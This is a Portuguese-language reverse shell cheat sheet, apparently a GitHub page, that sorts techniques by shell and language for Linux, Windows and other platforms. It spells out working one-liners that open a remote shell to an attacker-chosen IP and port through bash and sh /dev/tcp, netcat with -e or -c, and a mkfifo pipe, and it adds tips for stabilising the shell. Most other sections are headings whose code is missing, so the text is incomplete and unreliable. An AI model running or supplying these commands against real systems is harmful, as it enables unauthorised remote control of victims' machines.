githubEditar

Reverse Shell Cheatsheet

UNIX/LINUX

BASH

  • TCP Reverse

    bash -i >& /dev/tcp/IP/PORT 0>&1

    Bash puro, stdio, sem dependências externas.

SH

  • TCP Reverse

    sh -i >& /dev/tcp/IP/PORT 0>&1

    Funciona se /dev/tcp habilitado (bash/ksh).

  • Alternativa (Exec):

    0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

NETCAT

  • Com -e (Old nc/traditional):

    nc -e /bin/sh IP PORT

    Netcat tradicional.

  • Sem -e (Busybox/Ubuntu):

    nc IP PORT -c /bin/sh

    -c substitui -e em algumas versões.

  • Com FIFO universal:

    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc IP PORT >/tmp/f

    Compatível em ambientes restritos.

SOCAT

  • Shell básica:

    Suporte a criptografia, tunneling.

PERL

  • TCP Reverse

    Perl nativo, encontrado em muitos sistemas.

PYTHON

  • Python2

  • Python3

    Muito útil em ambientes com python mas sem nc/socat.

RUBY

  • TCP Reverse

PHP

  • Socket reverse

AWK (gawk)

  • TCP shell

LUA

  • TCP reverse

XTERM

  • Abrir shell em X (remoto)


WINDOWS

POWERSHELL

  • TCP Reverse

    (Ver cheats no texto abaixo)

  • Simples

  • Nishang

CMD (Windows Nativo)

  • Via telnet

    (mas não é shell, só conexão!)

  • Via VBScript

    Executa CMD invisível.

NETCAT for Windows

  • TCP Reverse


MULTI-PLATAFORMA / OUTROS

JAVA

  • Reverse shell

NODEJS

  • Reverse shell TCP

GO

  • Reverse shell

BusyBox

  • sh

AWK (POSIX)

  • (gawk only)


TRANSPORTE CRIPTOGRAFADO / EDIÇÃO

SOCAT com SSL

SSH

  • Reverse Tunnel

    Túnel reverso via SSH.


EXTRA: ICMP, DNS, HTTP(S), WEBSOCKET

  • ICMP Reverse

    • (Precisa de binários extras, ex: icmpsh, scapy, pingbash)

  • DNS Reverse

    • DNSCat2, dnscat, iodine, etc.

  • HTTP/HTTPS/WS

    • Canais C2 customizados, veja frameworks/metasploit.


Exemplos mistos

🌐 Escutando no atacante


🐍 Bash


💎 Perl


🐍 Python

Python3 equivalente:


💻 PHP


💭 Ruby


☕ Java


🐚 Netcat (tradicional)


🆕 Netcat (Ncat do Nmap)


🧼 Socat

Na máquina do atacante (escutando):

Na máquina vítima (conectar de volta):


📦 JavaScript (Node.js)


⛓ Xterm

No atacante:

Na vítima:


🧪 Diagnóstico: qual shell consegui?

Se estiver com shell interativo ruim (sem autocompletar, etc), use:

Ou tente:


🧠 Dica para tornar o shell mais estável

Depois de usar pty.spawn, pressione:

  • Ctrl+Z

  • No shell local: stty raw -echo; fg

  • Depois pressione Enter duas vezes

Atualizado